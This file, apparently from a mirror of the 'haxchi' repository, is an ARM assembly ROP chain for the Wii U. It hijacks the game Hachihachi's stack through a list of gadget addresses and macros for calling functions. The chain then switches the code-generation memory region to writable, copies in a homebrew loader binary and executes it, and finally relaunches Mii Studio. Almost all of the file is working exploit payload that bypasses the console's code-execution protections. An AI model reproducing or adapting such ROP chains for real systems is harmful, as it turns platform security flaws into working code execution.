mirror of
https://github.com/wiiu-env/haxchi.git
synced 2024-11-14 20:35:09 +01:00
321 lines
11 KiB
ArmAsm
321 lines
11 KiB
ArmAsm
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; game stack return address
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hax_target_address equ 0x1076FAA4
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; constants for position calcs
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COREINIT_OFFSET equ (- 0xFE3C00)
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RPX_OFFSET equ (0x01800000)
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SYSAPP_OFFSET equ (0x01B75D00)
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; rop-gadgets part 1 (used for all sorts of different things)
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LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x02208F6C)
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MTCTR_R28_ADDI_R6x68_MR_R5R29_R4R22_R3R21_BCTRL equ (RPX_OFFSET + 0x02208E90)
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BCTRL equ (RPX_OFFSET + 0x02208EA4)
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MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x0209A500)
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LWZ_R0x104_MTLR_R0_ADDI_R1x100_BLR equ (RPX_OFFSET + 0x020E0108)
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LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x0209A12C)
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LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020A38AC)
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MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x0216FBF0)
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LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02279BB8)
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MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL equ (COREINIT_OFFSET + 0x02002968)
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; rop-gadgets part 2 (only used to set up core 0 thread stack)
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LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0206966C)
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MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020A58C4)
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LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200B8D0)
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LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0207AD84)
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LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205182C)
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LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02014E0C)
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LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x0213FE6C)
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MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0202028C)
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; functions used from game and libraries
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NERD_CREATETHREAD equ (RPX_OFFSET + 0x02223C40)
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NERD_STARTTHREAD equ (RPX_OFFSET + 0x0222405C)
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NERD_JOINTHREAD equ (RPX_OFFSET + 0x02223AEC)
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HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02007774)
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NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x201BD28)
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CORE_SHUTDOWN equ (RPX_OFFSET + 0x02222FBC)
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_START_EXIT equ (RPX_OFFSET + 0x02022A70)
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_SYSLAUNCHMIISTUDIO equ (SYSAPP_OFFSET + 0x020019D4)
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OS_CREATETHREAD equ (0x02025764 + COREINIT_OFFSET)
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OS_GETTHREADAFFINITY equ (0x020266A4 + COREINIT_OFFSET)
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OS_FORCEFULLRELAUNCH equ (0x02019BA8 + COREINIT_OFFSET)
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OSCODEGEN_GETVARANGE equ (0x0201B1C0 + COREINIT_OFFSET)
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OSCODEGEN_SWITCHSECMODE equ (0x0201B2C0 + COREINIT_OFFSET)
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MEMCPY equ (0x02019BC8 + COREINIT_OFFSET)
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DC_FLUSHRANGE equ (0x02007B88 + COREINIT_OFFSET)
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IC_INVALIDATERANGE equ (0x02007CB0 + COREINIT_OFFSET)
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OSSAVESDONE_READYTORELEASE equ (0x0201D5B8 + COREINIT_OFFSET)
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OSRELEASEFOREGROUND equ (0x0201D5BC + COREINIT_OFFSET)
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OSFATAL equ (0x02015218 + COREINIT_OFFSET)
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; more useful definitions
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CODEGEN_ADR equ 0x01800000
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HACHI_APPLICATION_PTR equ (0x10A6E038)
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NERD_THREAD0OBJECT equ (hax_target_address - 0x1000)
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NERD_THREAD2OBJECT equ (hax_target_address - 0x2000)
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.macro set_sp,v
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.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
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.word 0xDEADBABE ; r30
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.word v ; r31
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.word 0xDEAD0001 ; garbage
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.word MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR
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.word 0xDEADBABE ; r26
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.word 0xDEADBABE ; r27
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.word 0xDEADBABE ; r28
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.word 0xDEADBABE ; r29
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.word 0xDEADBABE ; r30
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.word 0xDEADBABE ; r31
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.word 0xDEAD0001 ; garbage
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.word LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR
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.endmacro
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.macro call_func,f,arg1,arg2,arg3,arg4
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.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR
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.word 0xDEAD0001 ; garbage
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.word 0xDEADBABE ; r21
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.word 0xDEADBABE ; r22
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.word 0xDEADBABE ; r23
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.word 0xDEADBABE ; r24
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.word 0xDEADBABE ; r25
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.word 0xDEADBABE ; r26
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.word f ; r27 (ctr)
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.word arg4 ; r28 (r6)
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.word arg3 ; r29 (r5)
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.word arg2 ; r30 (r4)
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.word arg1 - 2 ; r31 (r3 - 2)
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; sp is here when LMW_R26R1x18 happens
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.word 0xDEAD0004 ; garbage
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.word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR
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.word 0xDEAD0008 ; garbage
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.word 0xDEAD000C ; garbage
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.word 0xDEAD0010 ; garbage
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.word 0xDEAD0014 ; garbage
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.word 0xDEADBABE ; r26
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.word 0xDEADBABE ; r27
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.word 0xDEADBABE ; r28
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.word 0xDEADBABE ; r29
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.word 0xDEADBABE ; r30
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.word 0xDEADBABE ; r31
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; final sp is here
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.word 0xDEADBABE ; garbage
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.endmacro
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.macro call_func_6args,f,arg1,arg2,arg3,arg4,arg5,arg6
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.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR
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.word 0xDEAD0001 ; garbage
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.word arg6 ; r21 (r8)
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.word 0xDEADBABE ; r22
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.word 0xDEADBABE ; r23
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.word arg1 ; r24 (r3)
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.word arg2 ; r25 (r4)
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.word 0xDEADBABE ; r26
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.word arg3 ; r27 (r5)
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.word arg4 ; r28 (r6)
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.word arg5 ; r29 (r7)
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.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR ; r30 (ctr)
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.word 0xDEADBABE ; r31
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; sp is here when LMW_R26R1x18 happens
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.word 0xDEAD0004 ; garbage
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.word MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL
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.word 0xDEAD0001 ; garbage
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.word 0xDEADBABE ; r21
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.word 0xDEADBABE ; r22
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.word 0xDEADBABE ; r23
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.word 0xDEADBABE ; r24
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.word 0xDEADBABE ; r25
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.word 0xDEADBABE ; r26
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.word f ; r27 (ctr)
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.word arg4 ; r28 (r6)
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.word arg3 ; r29 (r5)
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.word arg2 ; r30 (r4)
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.word arg1 - 2 ; r31 (r3 - 2)
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; sp is here when LMW_R26R1x18 happens
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.word 0xDEAD0004 ; garbage
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.word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR
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.word 0xDEAD0008 ; garbage
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.word 0xDEAD000C ; garbage
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.word 0xDEAD0010 ; garbage
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.word 0xDEAD0014 ; garbage
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.word 0xDEADBABE ; r26
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.word 0xDEADBABE ; r27
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.word 0xDEADBABE ; r28
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.word 0xDEADBABE ; r29
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.word 0xDEADBABE ; r30
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.word 0xDEADBABE ; r31
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; final sp is here
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.word 0xDEADBABE ; garbage
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.endmacro
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; hacked from arm7 ram offset (unsafe, game stack pointer)
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.create "haxchi_rop_hook.bin", hax_target_address
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.arm.big
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rop_hook_start:
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; move stack pointer to safe area
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set_sp (rop_start - 4)
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.Close
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; original game arm9 ram offset (safe, normally arm9 code)
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.create "haxchi_rop.bin", 0x16220400
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.arm.big
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rop_start:
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; quit out of GX2 so we can re-use it in core 0
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call_func NERD_FASTWIIU_SHUTDOWN, 0, 0, 0, 0
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; set up hbl_loader in core 0
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call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR, 0x1007E7A8, thread0_param, 0x0, 0x0
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; the code below prepares the stack for the thread in core 0
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; load memcpy jump into r3
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.word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR
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.word MEMCPY ; r3
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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; more r3 into r12 for our memcpy jump at the end of this
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.word MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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; prepare r31 to be a valid value for the next call
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.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
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.word 0xDEADBABE ; r30
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.word (core0rop_end - core0rop) ; r31 (has to be the same as r5 in the next call)
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.word 0xDEAD0001 ; garbage
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; get r5 ready for the length we want to copy
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.word LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR
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.word (core0rop_end - core0rop) ; r5
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; r30
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.word 0xDEAD0001 ; r31
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.word 0xDEAD0001 ; garbage
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; get r4 ready for the data we want to copy
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.word LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR
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.word 0xDEAD0001 ; garbage
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.word core0rop ; r4
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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; prepare r31 to be a valid value for the next call
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.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
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.word 0xDEADBABE ; r30
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.word (0x1076FAA4-0x3000) ; r31 (has to be valid here)
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.word 0xDEAD0001 ; garbage
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; loads the required value for the addition onto r3 later on
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.word LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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.word (0x00800000 - 0x30 + 0xAFC) ; r7
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; r30
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.word 0xDEAD0001 ; r31
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.word 0xDEAD0001 ; garbage
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; loads pointer to new thread sp into r3
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.word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR
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.word (NERD_THREAD0OBJECT+4) ; r3
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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; r3 contains new thread sp end after this load
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.word LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR
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.word 0xDEAD0001 ; garbage
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; r3 contains code injection thread sp after this add
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.word LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; r30
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.word 0xDEAD0001 ; r31
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.word 0xDEAD0001 ; garbage
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; jump to previously prepared r12 for memcpy
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.word MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR
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.word 0xDEAD0001 ; garbage
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.word 0xDEAD0001 ; r31
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.word 0xDEAD0001 ; garbage
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; thread stack is prepared after this point
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; wait for hbl_loader to do its job
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call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0
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call_func NERD_JOINTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0
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; clean up the rest of hachihachi
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call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0
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call_func CORE_SHUTDOWN, 0, 0, 0, 0
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; on exit we want to go into mii studio directly
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call_func _SYSLAUNCHMIISTUDIO, 0x0, 0x0, 0x0, 0x0
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; prepare system for foreground release
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call_func OSSAVESDONE_READYTORELEASE, 0, 0, 0, 0
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; instruct all 3 cores to release foreground to prepare mii studio app launch
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call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, OSRELEASEFOREGROUND, 0, thread0_param, 0x0, 0x0
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call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0
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call_func_6args NERD_CREATETHREAD, NERD_THREAD2OBJECT, OSRELEASEFOREGROUND, 0, thread2_param, 0x0, 0x0
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call_func NERD_STARTTHREAD, NERD_THREAD2OBJECT, 0x0, 0x0, 0x0
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; we are the main thread in core 1 so we call this direct
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call_func OSRELEASEFOREGROUND, 0, 0, 0, 0
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; launch mii studio app
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.word _START_EXIT
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core0rop:
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; switch codegen to RW
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call_func OSCODEGEN_SWITCHSECMODE, 0x0, 0x0, 0x0, 0x0
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; memcpy code
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call_func MEMCPY, CODEGEN_ADR, code, code_end - code, 0x0
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call_func DC_FLUSHRANGE, CODEGEN_ADR, code_end - code, 0x0, 0x0
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; switch codegen to RX
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call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0
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call_func IC_INVALIDATERANGE, CODEGEN_ADR, code_end - code, 0x0, 0x0
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; execute hbl_loader in codegen
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.word CODEGEN_ADR
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core0rop_end:
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; core 0 thread params
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output0_string:
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.ascii "hax0thread"
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.byte 0x00
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.align 0x4
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thread0_param:
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.word output0_string
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.word 0x00800000 ; stack size
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.word 0x00000010 ; thread prio
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.halfword 0x0001 ; thread affinity (core0)
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; core 2 thread params
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output2_string:
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.ascii "hax2thread"
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.byte 0x00
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.align 0x4
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thread2_param:
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.word output2_string
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.word 0x00800000 ; stack size
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.word 0x00000010 ; thread prio
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.halfword 0x0004 ; thread affinity (core2)
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; hbl_loader code
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code:
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.incbin "code550.bin"
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code_end:
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.Close
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